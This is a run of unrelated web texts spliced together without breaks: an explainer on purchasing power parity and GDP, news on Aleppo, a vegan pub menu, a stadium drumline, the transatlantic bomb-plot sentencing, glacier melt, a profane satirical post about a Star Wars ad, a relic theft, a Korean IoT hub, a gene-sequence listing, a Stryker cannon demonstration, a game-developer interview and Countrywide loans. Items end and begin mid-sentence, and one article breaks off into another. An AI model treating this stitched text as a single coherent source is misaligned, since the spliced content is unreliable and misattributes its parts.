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global development in entries dedicated to specific topics. This blog post draws on data and research discussed in our entry on Economic Growth.
Measuring economic activity in a country is difficult, since 'the economy' is a complex system with lots of moving parts. A common way to deal with this is to focus on aggregate indicators, such as total national output: "the monetary value of all goods and services produced within a country (or region) in a specific time period". That’s what economists call the Gross Domestic Product (GDP).
GDP is measured using prevailing national prices to estimate the value of output. In other words, GDP is calculated using local currency units. This means that in order to make meaningful cross-country comparisons, it is necessary to translate figures into a common currency - i.e. use a consistent 'unit of measure'.
One option is to simply translate all national figures into one common currency (for instance, US dollars) using exchange rates from currency markets. But because market exchange rates do not always reflect the different price levels between countries, economists often opt for a different alternative. They create a hypothetical currency, called ‘international dollars’, and use this as a common unit of measure. The idea is that a given amount of international dollars should buy roughly the same amount – and quality – of goods and services in any country.
The exchange rates used to translate monetary values in local currencies into 'international dollars' (int-$) are the 'purchasing power parity conversion rates' (also called PPP conversion factors). Below we discuss where PPP rates come from, and why they can often be more useful for comparisons than market exchange rates.
What is purchasing power and why does it matter?
Why do many British pensioners decide to move to Southern Spain? It’s not just about the weather. It also has to do with differences in price levels, which are lower in Spain than Britain. You can buy more things with one sterling pound in Southern Spain than you can in England. In other words, the purchasing power of the British Pound is higher in Spain than in England. This difference in price levels is exactly what PPP conversion rates try to capture.
If we are interested in living standards, any monetary income should be considered in relation to the amount of goods and services that it can buy locally. The same type of meal in the same type of restaurant has a different cost depending on the country where it is sold. This matters for macroeconomic comparisons and it matters for travelers: travel guides try to provide tourists with cross-country examples of differences in costs of living, and for one very specific product it is also what the Big Mac Index captures.
The following visualization shows cross-country differences in purchasing power, taking the US as the reference country. To be specific, the figures below correspond to the price level ratio of PPP conversion factors to market exchange rates. Hence, numbers below 1 imply that if you exchange 1 dollar at the corresponding market exchange rate, the resulting amount of money in local currency will buy you more in that country than you could have bought with one dollar in the US in the same year.
A price level of 0.5 shown for a country in this map means that for a given sum of US dollars you can buy twice as many goods and services in that country than in the US. In countries with a price level above 1, you can buy fewer goods and services than in the US for a given sum of US dollar.
As we can see, price level differences between developed and developing countries are much larger than those between Spain and England. The amount of goods and services that you can buy with 500 US dollars in the US is very different to what you can buy with 500 US dollars in rural India.
This is important beyond GDP. Price level differences imply that with the same income in US dollars, you could be on the verge of poverty in the US, or fairly well-off in rural India. For this reason, we need to consider purchasing power when comparing variables such as poverty rates between countries.
From the explanation above it should be clear that we need to control for price differentials in order to meaningfully compare GDP between countries. We need a conversion factor that achieves purchasing power parity.
If we take an all-embracing basket of goods and services and we use it as a reference point, we can compute price indices for each country and, using statistical methods, adjust the GDP figures to deal with the problem of different price levels.
This is exactly what purchasing power parity does. It's an exercise that is done by the International Comparison Programme (ICP). Angus Deaton explains it as follows: "Purchasing power parity exchange rates, or PPPs, are price indexes that summarize prices in each country relative to a numeraire country, typically the United States. These numbers are used to compare living standards across countries, by academics in studies of economic growth, particularly through the Penn World Table, by the World Bank to construct measures of global poverty, by the European Union to redistribute resources, and by the international development community to draw attention to discrepancies between rich and poor countries."
As the graph below shows, using PPP adjusted international dollars rather than US market dollars as unit of measure can make a huge difference. When price levels in a country are much lower than in the US, using US dollars at market exchange rates will significantly underestimate the standard of living when measured through GDP per capita.
Why are differences in price levels not reflected in currency market exchange rates?
For two countries – A and B – the two different currencies allow for different comparisons. The market exchange rate tells you how many units of currency from country B you can buy with a unit of currency A. The purchasing power parity conversion factor, on the other hand, takes the relative prices between countries into account and allows for comparisons when you want to know how many currency units you have to spend to buy the same amount of goods and services in each of the two countries.
So, why are these two things not the same? This is not a trivial question. There are good reasons why the market exchange rate between two currencies should reflect the relative price levels between the two economies. Imagine that one apple costs $1 in the US and £1 in the UK. Suppose the market exchange rate is not 1:1, but for example $1.5 = £1. Given this situation, an American person with an apple would have an incentive to sell the apple in the UK, and then convert pounds into dollars, making a profit. This is what is called arbitrage. People would jump at such opportunities, and before long, market forces would exhaust gains from trade, leading to an equilibrium where currency prices and apple prices adjust and there are no opportunities to engage in this 'free-money game'.
The above logic, however, assumes that goods and services are tradable internationally. But in reality there are goods and services that cannot be traded internationally. If you have a house in London, you cannot export that house to the US or China. There are many other examples of non-tradable goods, such as public roads, basic services such as schooling, or even more trivial services such as hair-cuts.
The issue is that if you live in Scotland, you do not care about the price of schools in Northern Italy, or rents in Southern Spain. And this matters in the context of our discussion because prices of non-tradable goods affect the general price level of a country; but prices of non-tradable goods are determined mainly by domestic dynamics. This is one reason why we observe cross-country differences in price levels that are not mirrored by corresponding differences in currency prices.
Why do rich countries tend to have higher prices?
Empirically, we observe that prices are higher in richer countries: there is a positive cross-country relationship between average incomes and average prices. This can be seen in the visualization below, which plots GDP per capita (in international dollars) against price levels (relative to the US). This observation was formalised by Balassa and Samuelson in the 1960s, and is usually referred to as the 'Penn effect'.
Pinning down the causes behind the Penn effect is not straightforward; but economic theory provides some hints.
One possible explanation, which has received substantial attention in the academic literature, rests on cross-country productivity differences; specifically, the fact that labour tends to be more productive in rich countries because of the adoption of more advanced technologies.
This is the essence of the 'Balassa-Samuelson model'. The greater the productivity differentials in the production of tradable goods between countries, the larger the differences in wages and prices of services; and correspondingly, the greater the gap between purchasing power parity and the equilibrium exchange rate. If international productivity differences are greater in the production of tradable goods than in the production of non-tradable goods, the currency of the country with the higher productivity will appear to be overvalued in terms of purchasing power parity. Therefore, the ratio of purchasing power parity to the exchange rate will be an increasing function of income.1
The correlation between productivity and the price level can be seen in this scatter plot here.
What are the main limitations of PPP adjustments?
The two last rounds of PPP factors estimated by the International Comparison Programme (ICP) are from 2005 and 2011; and the next one is scheduled for 2017. With every release, estimates improve. But the data limitations have to be kept in mind, particularly if we consider the stakes: international institutions, charities and governments rely on PPP factors in order to design policies and allocate resources internationally.
What are the main limitations?
First, there are issues with the underlying sources used by the ICP. Many low-income countries do not collect sufficiently rich data on price levels, so the ICP often needs to impute missing values by making extrapolations based on regional averages, or by relying on data from price levels in capital cities where prices are often higher than in rural parts of the country.
And second, differences in consumption and production patterns make the identification of a common'standard' basket of goods difficult and arbitrary. Agreeing on broad categories (e.g. 'food') is relatively easy; but narrowing down the exact items is much more complicated, since allowances have to be made for differences in factors such as product quality. Hence, the actual items that should be included in the'standard basket' of goods produced and consumed in, say Sweden, are very different to those that should be included in Saudi Arabia.Syria: situation reaches "apocalyptic" proportions Bombs hit "everywhere and anytime", Catholic priest says
(ANSAmed) - ROME, 12 NOV - ''Things are deteriorating daily in Aleppo. It's truly a street war that is destroying, with a brutality without precedent, our ancient and beautiful city. We can say that we're facing an 'apocalyptic' situation: bloodshed, injuries, deaths, refugees, people that are desperate, that have emigrated, are being detained, kidnapped, unemployed''. This is what a Catholic priest living in Aleppo's city centre has written in an email when asked to comment the situation.
''I'm still alive and standing, but for how long?'' He wonders, ''It's only been a few days since we have been able to use communication means again. For almost three months we have been isolated from the rest of the world.''.
''We are now connected to the Internet again, albeit erratically,'' he continues, saying that bombs are dropped ''everywhere and anytime.'' He adds that in recent months his parish church was hit ''by a bomb with heavy artillery'', which ended up in the church's courtyard, fortunately there were no casualties.
''All the church's doors, windows and glass were destroyed,'' he writes, ''The nice facade of the church, made in carved stone, was shattered by the fragments. Despite all this, life continues. We are trying to survive, along with all those who are still in the city either by force or choice, expressing all possible solidariety towards each other, and the minimum hope necessary to resist the daily death and sorrow.'' Aleppo has been experiencing ongoing fighting for the last three months, in a city divided by a rebel-controlled area and an area controlled by government forces. (ANSAmed).The UK and Irish pub chain unveils new vegan options registered by The Vegan Society
You can now be assured that selected vegan options at JD Wetherspoon are free of all animal ingredients in production and manufacture thanks to our Vegan Trademark team, who recently liaised with the chain in order to produce their new and improved vegan menu.
“We’re overjoyed that UK high street chains are taking note of the rise in veganism by improving their vegan options, and it’s only getting better,” says Abigail Stevens, Trademark Relations Officer at The Vegan Society.
“Working alongside JD Wetherspoon to develop their vegan menu means that up and down the country, you can walk into one of their many establishments and enjoy hearty, affordable, accessible and tasty plant-based food. Look out for our Vegan Trademark on their menu.”
The new options include the five bean chilli and dessert for the first time, as vegans can now enjoy the British Bramley apple crumble.In 2013, Dan English of Syracuse, received a phone call which would change his fate as a performer.
The Buffalo Bills organization wanted his drumming group, Downbeat Percussion, to bring their talents to Ralph Wilson Stadium for a half-time show. They impressed everyone.
The Bills asked the group to perform regularly at the stadium under the name, "The Stampede." It was a monumental moment for the group.
"When we became the official drumline for The Buffalo Bills, it was a huge sense of accomplishment to our father, who grew up in Buffalo," said Dan's brother, Eric English.
Dan and Eric, along with their brother Mike English, co-founded Downbeat Percussion with friends Dan MacCollum and Chris Ganey. All five men attended Jordan Elbridge High School where they started drumming.
The English brothers' father, a band director at Weedsport High School, fired up his sons' passion for music at a very early age.
Downbeat Percussion has about 35 to 40 performers on their active roster list and they bring between 18 and 22 to perform with them as part of "The Stampede" at Ralph Wilson Stadium. The majority of the group is based out of Central New York and most were dedicated to The Bills as children.
"Every Sunday, we'd be in front of the television watching Bills games, so now to be at the stadium every week in person, with my parents being there, is just absolutely an incredible experience," said Dan.
Downbeat Percussion also regularly plays at parades, colleges, weddings and even birthday parties.
"We have this mantra at Downbeat where we're game for pretty much anything and we know that we can produce a good show for basically any stage that someone can set up for us," said MacCollum.
Now on their second season with The Buffalo Bills, the drummers couldn't be more passionate about what they're doing.
In addition to playing on the field in front of 70,000 roaring fans, the group unanimously says their favorite part of the day is performing in the tailgating area with their own fans.
"It's an awesome feeling," Dan said. "To give that energy out and to have the fans give it back to you... That symmetry is what we live for."Monday, September 14, 2009
Three men convicted of plotting to blow up seven transatlantic passenger jets were sentenced and sent to jail on Monday.
The trio's ringleader, Abdulla Ahmed Al, 28, received a minimum of 40 years in prison. Assad Sarwar, 29, received a sentence of at least 36 years and Tanvir Hussain, 28, at least 32 years. All three are suspected to have had links with al-Qaeda.
Map by the US Transportation Security Administration showing the flights that were targeted the bombing plot.
The three men had been accused of plotting to destroy several transatlantic passengers jets headed for North America by smuggling liquid explosives disguised as soft drinks onto the plane. The targeted planes were all departing from the Heathrow Airport in London, bound for locations such as Chicago, Illinois, New York, New York, Toronto, Ontario, and Montreal, Quebec.
The plot was said to have been only a few days from being executed when it was discovered by the authorities.
"I'm very pleased the jury gave a sentence that was proportionate to this potential crime," said the UK Home Secretary, Alan Johnson. "Our police and our national security service is a national asset, they've proven that again today."
Johnson said the sentencing "reflected the severity of this horrendous plot to kill and maim thousands of people".
SourcesWonder what your favourite glacier to ski or hike will look like in 20 or 40 years? A new study makes detailed predictions about how the glaciers in B.C. and Alberta will melt and shrink between now and 2100.
Glaciers are melting rapidly around the world, including in Canada, and human-caused climate change is now considered to be the main driver.
Thousands of glaciers in B.C. and Alberta are expected to lose 60 to 80 per cent of their combined volume compared to 2005, depending on how much CO2 gets added to the atmosphere between now and the end of the century.
Many of the glaciers in the Rockies will disappear altogether, predicts the new study published Monday in Nature Geoscience. In the Interior and Rockies regions, "ice area and volume losses will exceed 90 per cent," except in the most optimistic climate change scenario considered, it says. Glaciers in coastal northwestern British Columbia are expected to "survive in a diminished state."
But the most valuable information coming out of the new study is the details, says lead author Garry Clarke, professor emeritus of glaciology at the University of British Columbia.
Previous studies mainly focused on the amount of snow that would replenish the glaciers each year and the net melting over time as the climate warms.
Clarke's study goes into how glaciers will flow and break up, and where their water will go under four climate scenarios considered by the Intergovernmental Panel on Climate Change in its Fifth Assessment Report in 2014.
"It's essentially a resource that people can use if someone wants a glacier ski resort somewhere in the Rockies and they wonder what it might be like 50 years from now," said Clarke.
Hydroelectric impact
The details of how the glaciers will melt may also have an impact on hydroelectric production on glacier-fed rivers, as well as agriculture that relies on the water for irrigation, alpine tourism, and resource development, including forestry, the paper says.
Already, Clarke says, he has been working with B.C. Hydro to plan changes to hydroelectric power production in the future. Luckily, in B.C., climate change is expected to increase rainfall, which is expected to largely make up for the loss of the glacier meltwater.
"The main change for them is the timing of water delivery to the reservoirs."
Tourists walk on the Athabasca Glacier, part of the Columbia Icefield in Jasper National Park, on May 7. The park's manager says the glacier could disappear within one generation. (Jeff McIntosh/Canadian Press )
Other parts of the world may not be so lucky, and similar models may be crucial to help them plan for drier times.
There will be other impacts in Canada as well, including the near-disappearance of the Columbia Icefield, a major tourist attraction in Jasper National Park. It's visited by millions of people each year aboard convoys of special snow coaches. It's also an important source of snow and ice melt for the Athabasca, Saskatchewan and Columbia river basins.
The Columbia Icefield's biggest glacier, the Athabasca, is currently losing more than five metres of ice a year.
The new model shows that by 2100, under a best-case scenario where the amount of carbon dioxide in the atmosphere peaks at just 490 parts per million (it's currently close to 400 ppm), the icefield will be reduced to multiple small patches. But if CO2 emissions grow to 1,370 ppm, it will have shrunk to almost nothing by 2100.
Clarke hopes the value in the study isn't just directly practical, but will also help people better understand the consequences of climate change and motivate them to take action against a problem he describes as urgent and "dead serious."
"If you look and say, 'Here's a glacier that you ski on right now and here's what it will look like 20, 30, 50 years in the future' and they can see the consequences, I think it's a stronger message. It works a little bit more viscerally for people that are not scientists."
More complicated than imagined
The study took 10 years of work. In collaboration with researchers at the University of Iceland, the University of Victoria, the University of Northern British Columbia, he incorporated the "flow physics" of ice and snow into a computer model of western Canada and its glaciers.
"It was much more complicated than we even imagined," Clarke recalled.
When the starting point for the model was 2,000 years ago, it accurately predicted what the glaciers look like today.
"Then we subject them to the climate of the future and we see what happens to them," Clarke said.
He thinks now that the technique has been worked out, it would be useful to apply it to other parts of the world — something he's interested in helping out with.
But he doesn't personally want to lead another study like this.
"It's a bit depressing to actually be calculating losses the whole time," he said. "I didn't get into science to be that kind of person."
Even if he wanted to, the funding might be hard to come by — as it is, he thinks even the current study "would be pretty hard to put together now." That's because it started a decade ago and was funded by the Canadian Foundation for Climate and Atmospheric Sciences, which was launched under Liberal prime minister Jean Chrétien and not renewed by Stephen Harper's Conservative government when its funds ran out in 2011.Monsters. Just look at them.
If you are not familiar with Mike Melgaard's previous works, his brilliant trolling of enraged and bigoted Target and Doritos customers alike, you are about to have your day made. Sit down, forget about the next hour and bask in the impish irking of homophobes dumbfucks.
You guys, the worst thing has happened–Star Wars has gone gay (for pay.) The commercial below depicts two fathers (gaaasp) feeding their child. Oh, I would clutch at my pearl necklace but the gays ruined those for me, too.
How anyone can go on after seeing such a disgusting display of familial love is beyond me. And to think, they cast a real-life family! How awful! I only thought such things existed when you stumbled upon HBO when the wife is out of town.
Thankfully, we have some people in agreement, as you can read below.ROME — Police are searching an Italian mountain area beloved by Pope John Paul II for a stolen relic bearing his blood.
Vatican Radio decried the “sacrilegious theft” from tiny San Pietro della Ienca church near the Gran Sasso part of the Apennine mountains, where John Paul used to hike and ski.
The Telegraph speculated that a Satanic group could be behind the theft.
“It’s possible that there could be Satanic sects behind the theft of the reliquary,” said Giovanni Panunzio of the anti-occult group Osservatorio Antiplagio told the Telegraph.
“This period of the year is important in the Satanic calendar and culminates in the Satanic ‘new year’ on Feb 1. This sort of sacrilege often take place at this time of the year. We hope that the stolen items are recovered as quickly as possible,” Panunzio said.
Carabinieri paramilitary police Col. Andrea Ronchey in nearby L’Aquila told The Associated Press Monday that the relic — a bit of blood-soaked cloth kept inside a painted metal cross — was last seen on Thursday in the church.
The BBC reported that thieves ignored the collection box in the theft and that the relic was one of only three such artifacts in the world.
The thieves reportedly forced their way in through a window.
John Paul, who died in 2005 and will be made a saint April 27 during a Vatican ceremony, had celebrated Mass in the church.
Police are combing the area using sniffer dogs.Following Cisco’s recent developments, Samsung and local SK Telecom (SKT) announced that they want to turn the manufacturing city of Daegu, Korea’s third largest metro, into an IoT test hub
Taking full advantage of its economic leadership, Samsung and local SK Telecom (SKT) announced that they want to turn the manufacturing city of Daegu into an IoT test hub complete with modern infrastructure for connected cars and mobile health.
Daegu is trying to pivot from its role as a manufacturing hub in the late 20th century. This initiative led by Korea’s largest technology company has the potential to complete that transition. Certain districts will be designated as “regulation-free zones.” The new communication infrastructure will incorporate cloud computing, and allow for heavier loads of data, smart energy systems for public utilities, and accommodation for electric cars and autonomous vehicles. Samsung is also making its IP available to local technology companies to experiment with.
“SKT’s plan to build an IoT test bed in Daegu is aimed at growing ventures and startups, and the company hopes that the project can jump-start the nation’s economy,” said SKT President Lee Hyung-hee, who manages their mobile networks. SKT plans to have expanded network coverage in the city by May. Hyung-hee added, “SKT will also try to create a new business ecosystem by supporting ventures seeking to infiltrate the global market.”
Daegu will see a new startup center called Open Lab, which will also be the center of the urban IoT network. Another incubator, the Center for Creative Economy and Innovation, was announced in November as one of 17 across the country that were being jointly supported by Samsung, SKT and Hyundai among some dozen other South Korean corporate sponsors. That center will reportedly open in November 2016 at the Daegu Samsung Creative Campus. Samsung already has a sizable presence in the city and is the primary sponsor to the local professional baseball team, the Daegu Lions.
SKT and Samsung jump on the smart city bandwagon
“Joining hands with the nation’s largest ICT firms, Daegu has now a chance to play a key role in developing the nation’s ICT industry,” said Daegu Mayor Kwon Young-jin, according to a translation by the Korea Herald. “The city will spare no efforts for the growth of the IoT test bed.”
That infrastructure will incorporate SKT’s proprietary IoT platform ThingPlug that facilitates IoT product development and manages IoT networks. The company says it relies on standards set by oneM2M, an international standard for IoT device communications. The city of Daegu itself says it aims to raise 1 trillion won (roughly $855 million) to support infrastructure installation and create a new fund for local startups.
Samsung and SKT are not the only international conglomerates partnering with local governments to build IoT infrastructure. Cisco recently announced a multimillion-euro project in Berlin, while Vodafone just announced it will invest some €243 million in smart city projects in Seville. Other cities experimenting with smart city infrastructure include London, San Francisco, Hong Kong and Jerusalem.
Samsung has a few initiatives that tie into the Daegu project. One of them is the Samsung Digital Health Initiative that supports the creation of a “new health open reference design platform, IoT-specific hardware ARTIK and the company’s branded Smart Lighting Platform.The following sections contain reference sequences that belong to a specific genome build. Explain This section includes genomic Reference Sequences (RefSeqs) from all assemblies on which this gene is annotated, such as RefSeqs for chromosomes and scaffolds (contigs) from both reference and alternate assemblies. Model RNAs and proteins are also reported here. Reference GRCh38.p12 Primary Assembly Genomic NC_000007.14 Reference GRCh38.p12 Primary Assembly Range 90245174..90320964 Download GenBank, FASTA, Sequence Viewer (Graphics) mRNA and Protein(s) XM_011516577.2 → XP_011514879.1 cilia- and flagella-associated protein 69 isoform X1 XM_017012625.1 → XP_016868114.1 cilia- and flagella-associated protein 69 isoform X4 XM_017012628.1 → XP_016868117.1 cilia- and flagella-associated protein 69 isoform X7 XM_017012632.1 → XP_016868121.1 cilia- and flagella-associated protein 69 isoform X11 XM_017012624.1 → XP_016868113.1 cilia- and flagella-associated protein 69 isoform X3 XM_017012629.1 → XP_016868118.1 cilia- and flagella-associated protein 69 isoform X8 XM_011516578.2 → XP_011514880.1 cilia- and flagella-associated protein 69 isoform X2 XM_017012626.1 → XP_016868115.1 cilia- and flagella-associated protein 69 isoform X5 XM_017012630.1 → XP_016868119.1 cilia- and flagella-associated protein 69 isoform X9 XM_017012627.1 → XP_016868116.1 cilia- and flagella-associated protein 69 isoform X6 UniProtKB/Swiss-Prot A5D8W1 XM_017012641.1 → XP_016868130.1 cilia- and flagella-associated protein 69 isoform X16 XM_005250600.3 → XP_005250657.1 cilia- and flagella-associated protein 69 isoform X18 XM_011516579.1 → XP_011514881.1 cilia- and flagella-associated protein 69 isoform X17 XM_017012642.1 → XP_016868131.1 cilia- and flagella-associated protein 69 isoform X19 XM_017012636.1 → XP_016868125.1 cilia- and flagella-associated protein 69 isoform X12 XM_017012631.1 → XP_016868120.1 cilia- and flagella-associated protein 69 isoform X10 XM_017012633.2 → XP_016868122.1 cilia- and flagella-associated protein 69 isoform X12 XM_017012639.1 → XP_016868128.1 cilia- and flagella-associated protein 69 isoform X14 XM_017012637.1 → XP_016868126.1 cilia- and flagella-associated protein 69 isoform X13 XM_017012634.1 → XP_016868123.1 cilia- and flagella-associated protein 69 isoform X12 XM_017012635.2 → XP_016868124.1 cilia- and flagella-associated protein 69 isoform X12 XM_017012638.1 → XP_016868127.1 cilia- and flagella-associated protein 69 isoform X13 XM_017012640.1 → XP_016868129.1 cilia- and flagella-associated protein 69 isoform X15 RNA XR_927530.1 RNA Sequence XR_927531.2 RNA Sequence XR_927533.1 RNA Sequence XR_927532.1 RNA Sequence XR_001744876.1 RNA Sequence
The following Reference Sequences have been suppressed. Explain These RefSeqs were suppressed for the cited reason(s). Suppressed RefSeqs do not appear in BLAST databases, related sequence links, or BLAST links (BLink), but may still be retrieved by clicking on their accession.version below. NM_024788.2: Suppressed sequence Description NM_024788.2: This RefSeq was permanently suppressed because currently there is support for the transcript but not for the protein.ABERDEEN, Md. -- In direct response to a specific Russian threat, the Army's newly up-gunned and remodeled Stryker vehicles are headed to Europe with the first turret cannon fielded by the service since 120mm smoothbores were put on M1 Abrams tanks in 1986.
The first of the retrofitted, eight-wheeled M1126 Strykers mounted with a 30mm Kongsberg cannon is expected to arrive in Vilseck, Germany, in January to join the 4,800 troops and 330 combat vehicles of the 2nd Cavalry Regiment (2CR), said Col. Glenn Dean, Project Manager Stryker Brigade Combat Team.
At the same time, the Army will be delivering Strykers to the 2CR fitted with the Raytheon Common Remote Operations Weapon Station II, or CROWS II, which will enable a gunner to aim and fire the FGM-148 Javelin anti-tank missile while buttoned up inside the vehicle.
By the fall of 2018, the 2CR is expected to have 83 of the Strykers mounted with the.30mm cannon -- similar to the fearsome GAU-8/A Avenger Gatling.30mm nose cannon in the tank-killer A-10 Thunderbolt II ground attack aircraft, commonly known as the "Warthog."
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However, Dean said the number of retrofitted Strykers eventually deployed to the 2CR will depend on how well the vehicles adapt to the tactics employed by the regiment.
"We're not going to put a.30mm cannon on every Stryker -- it's a selection of them," he said. "Part of the decision on how many for the future will depend on what 2nd Cavalry Regiment has to say on what works or what doesn't work, or if we have enough or too many."
Testing the Cannon
On Tuesday, the Army demonstrated the firepower of Strykers mounted with the.30mm cannon and the CROWS II Javelin-firing variant at a range at the Aberdeen Proving Ground in Maryland.
The Stryker with the magazine-fed cannon fixed on a target -- an old SUV -- about 1,100 meters downrange and riddled it with fire. First, there was single-shot fire, followed by rapid fire and then full-automatic bursts.
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When the firing finished, Dean said, "This is the first new direct-fire weapons system and family of ammunition to enter the Army inventory since we put the 120mm cannon on the Abrams main battle tank."
Sgt. 1st Class Nicholas Young, a master gunner with the Stryker program, said the cannon is effective out to 3,000 meters and fed by two magazines, each carrying 78 rounds. Another 264 rounds could be stored in the hull, he added.
Young said the cannon will give Stryker crews "a huge advantage against the enemy that they don't have with the.50 'cal,' " a reference to the.50 caliber machine gun now mounted on many Stryker variants.
The.30mm can fire two types of rounds -- armor piercing and high explosive -- but Young stressed that the cannon is only an enhancement to the main purpose of the Strykers: to deliver a nine-man infantry squad to the fight.
"We're just giving them a bigger gun," Young said. "The purpose of the vehicle is to get those nine guys to the battlefield."
The Stryker's engine had to be upgraded from 350 horsepower to 450 horsepower to deal with the added weight of the turret, but the vehicle still gets about 5.5 miles per gallon and has a range of 320 miles on a full tank, depending on the terrain, Dean said.
Adding the Javelin
In the costly second part of the demonstration, a buttoned-up Styker carrying the CROWS II station hit a target about 1,500 meters downrange with the Javelin.
Each Javelin missile used to cost about $100,000, but now goes for about $150,000, Dean said.
Previously, in order to use the Javelin, the nine-man infantry squad carried by Strykers had to dismount out the back to set up the weapon on the ground, said Dean Barten, Product Director-Javelin at the Redstone Arsenal in Huntsville, Ala.
With the CROWS II station, the gunner inside the vehicle can fix on the target and fire the Javelin from a mount atop the vehicle.
"It's the same optics, the same sight systems," whether firing the "fire-and-forget" Javelin remotely or dismounted, Barten said.
"It's going to hit whatever you see," he said. The missile itself "sees the target before it even launches" with optics on the missile tube.
Firing the missile from atop the vehicle "gives you an extra 10 feet in line of sight," Barten said.
Situational Awareness
Following the firing demonstration, Maj. Gen. David Bassett, the Army's Program Executive Officer for Ground Combat Systems, acknowledged that the 2nd Cavalry Regiment will have to work out problems with "situational awareness" for the nine infantry troops carried by the Strykers mounted with the.30mm cannon and the two-man crew of driver and an assistant.
The sightlines from the rear top hatch from which the squad leader could pop up to scope out the terrain are blocked by the turret. To maintain situational awareness, the squad leader will now have to maintain contact with the driver or scrunch down into a small tunnel to see what the driver sees.
To work out the tactical kinks, the Army brought 10 troops from the 2nd Cavalry Regiment to Aberdeen to train on the retrofitted Strykers.
Because of the turret blocking the sight lines, "you're leaving that sole trust on the driver" to keep the squad informed, said Spc. Tyler Lowers, 20, of Wichita, Kansas, a member of 2CR's Third Squadron. "It's on you," he said of the driver.
Staff Sgt. Randall Engler, 27, of Novato, California, a squad leader in the Third Squadron, said, "The purpose of the truck is to get us to the fight. In essence, it helps us."
He said he expects that "we won't deviate at all" from current tactics.
"There's always a lot of cross talk" between the crew and the squad, and "I can see out the front if a need to" as the vehicle gets close to the drop zone, Engler said.
However, Lt. Col. Troy Meisel, deputy commander of the 2CR, said, "There's not a likelihood that this vehicle will lead the formation" into battle, but "it will allow us to get to the right place at the right time."
"It's not designed to attack a mechanized force," he said, "but it gives us more flexibility when we do come across them. It gives us the ability to survive those chance contacts" through the range of the.30mm cannon.
"You can throw a machine gun on a technical vehicle that had |
environment right outside the hull is just waiting to kill them.
There's so much humanity in those films, and many of them use choirs as a collective voice of the crew. There's something almost haunting about it. The power of the voices amid the murky depths creates a mood that's really unlike anything else. It conveys so much so quickly.
In our case, the choir doesn't just represent the crew; it really echoes the soul of the Letarri people as a whole because the stakes of the mission are so high.
The second was Cliff Martinez' score for the 2002 film Solaris. It's full of mystery, wonder, technology, a bit of trepidation... and yet it's so understated. That kind of emotive but almost minimalist score is where I wanted us to land. We have more than 20,000 words in Prominence. Probably at least a third of them are spoken, and the player needed to be able to read or listen to them without strong musical distraction.
So if you listen to the soundtrack (it's included as a free bonus with the game), the longer ambient music cues are very open, but they have echoes and bits of the choir's main melodic theme that work their way in and out at various times to help tie everything together.
Then we worked to shift the tone and mood of the music as the player progresses through the game, to reflect the emotion of each stage of the adventure.
What were you seeking to achieve with Prominence? Do you think you've accomplished your goal?
It started out as a demo reel and ended up becoming a full-fledged adventure game. It might still lead to lots of new and interesting work for the studio. Or it might do well enough that we can make game development a new operational branch and release more of our own titles.
We completely exceeded the original goal and, like I said earlier, we metaphorically went to school on this project and learned a lot of new things along the way. Now we've got more skills and more knowledge of how to use them.
So yes, we accomplished the goal, but I'm always moving the goalposts for myself. Getting the game out was a goal. Now it's out. Okay, we made a game. Cool. Next step is releasing all the extra features and value-added content, like the soundtrack, the upcoming blooper/gag reel, character avatars, guided walkthrough, maybe an e-book of the Prominence Prologue, etc. Then localization for additional territories, followed by porting to other platforms. There's always another milestone and I'm happy to pursue them if we get the opportunity.
What were your influences?
I'm sure a vast collection of games certainly influenced development. Some of the biggest influences were probably:
Myst 4. An amazing engine at the time with animated transitions, depth of field effects, the touch / tapping emulation system, and the nearly seamless integration of animations at nodes.
System Shock 2. The grandaddy of the ubiquitous audio log. It's like the audio version of the ammo crate. It's been used so many times that it's became an accepted form of narrative delivery. We liked the idea, but we tried to evolve it a bit in Prominence by making it occur as real communication between characters, whether it's via email, voicemail, or caught by the camera systems during dialog between multiple characters.
Spycraft. The assassination analysis tools in that game put the idea in my head that games could have really interesting standalone puzzle designs that fit right into the story. Puzzles didn't need to be as arbitrary or abstract as some adventure games made them.
Journeyman Project 3. A flawed game that was mostly responsible for putting the idea in my head that we could probably make an AI sidekick that would take up far less than one-third of the screen.
Text-based adventures, of course. This led to BELOS and its amber, scanline screen. Kevin and I grew up in the '80s.
What is it about Prominence that makes you feel the proudest?
We made a game that didn't compromise our original vision, doesn't glorify violence, and offers a tale of hope and humanity. In the current climate of games, that feels pretty satisfying.
I think if I had to spend 9 years working to create proper headshot fx and exploding gore, the game might not have ever been released.
Don't get me wrong. I was planning to finally fire up Wolfenstein: The New Order over this holiday break and also drive back the alien invasion that's beat me the last two times I've tried to get through XCOM. I enjoy virtual carnage as much as the next gamer; I'm just glad I didn't have to spend years immersed in trying to create it.
Have you been happy with the game's reception so far?
Oh yes. It feels amazing to have it out there and to see people playing and enjoying it. So many people --press and players-- have written nice things about it. That's been wonderful. We've gotten many emails and player reviews saying how much they like the game, and how they wish more games like this would be made.
A player in the Steam community forum posted an incredibly detailed map of his adventure through the game. It had all these notes on it about various triggers and moments from the story and characters. That's the kind of thing that makes me think, "Okay, it was all worth it. There's people who really get into it, and they're having fun. They're really going on the adventure."
What are your plans for the future? Will you work on a new adventure? Further evolve Prominence?
Sleep. A lot of sleep. And maybe a brief vacation.
We already have an outline for the next chapter in the Prominence series. We also have other game ideas for that universe, and we've been approached by other creators to collaborate on graphic novels, books, and other media. So there are many possibilities.
If Prominence does well, then opportunities for other projects will open up. If not, it will be back to a mix of client work and small personal projects for awhile until the next grand adventure reveals itself.
Prominence by Digital Media Workshop is available for Windows on Steam and DRM-free on the Humble Store and its official site.Just when you thought the seemingly endless rabbit hole of Wall Street-Washington corruption, cronyism, co-option, crime and kickbacks may have finally come to an end, here comes the House Ethic Committee to pronounce that no ethics breaches were found among House members in its investigation involving the scandal surrounding Countrywide "VIP loans" and the "Friends of Angelo." And in just doing so, the House effectively cleared itself of any wrongdoing and that's it, case closed - move along... Move along.
For those who may have forgotten, it was only back in July that yet another House Committee, that for Oversight and Government Reform, found "Countrywide used its VIP Program to aid its lobbying efforts as well as to strengthen its relationship with taxpayer backed Fannie Mae. Countrywide partnered with Fannie Mae in a strategic business alliance that also included joint lobbying efforts." Specifically, the report alleged that:
“The Committee’s investigation found Countrywide lobbyists and CEO Angelo Mozilo used discounted loans as a tool to ingratiate itself with policymakers in an effort to benefit the company’s business interests,” said Issa. “A former lobbyist for Countrywide testified that Members of Congress, staff, and other government officials were directed to the company’s VIP program as part of an effort to create a favorable impression of the company on Capitol Hill. This preferential treatment – that varied depending on the influence of the borrower – was not routinely offered to the public.”
Further, as part of its work, this other Committee found that:
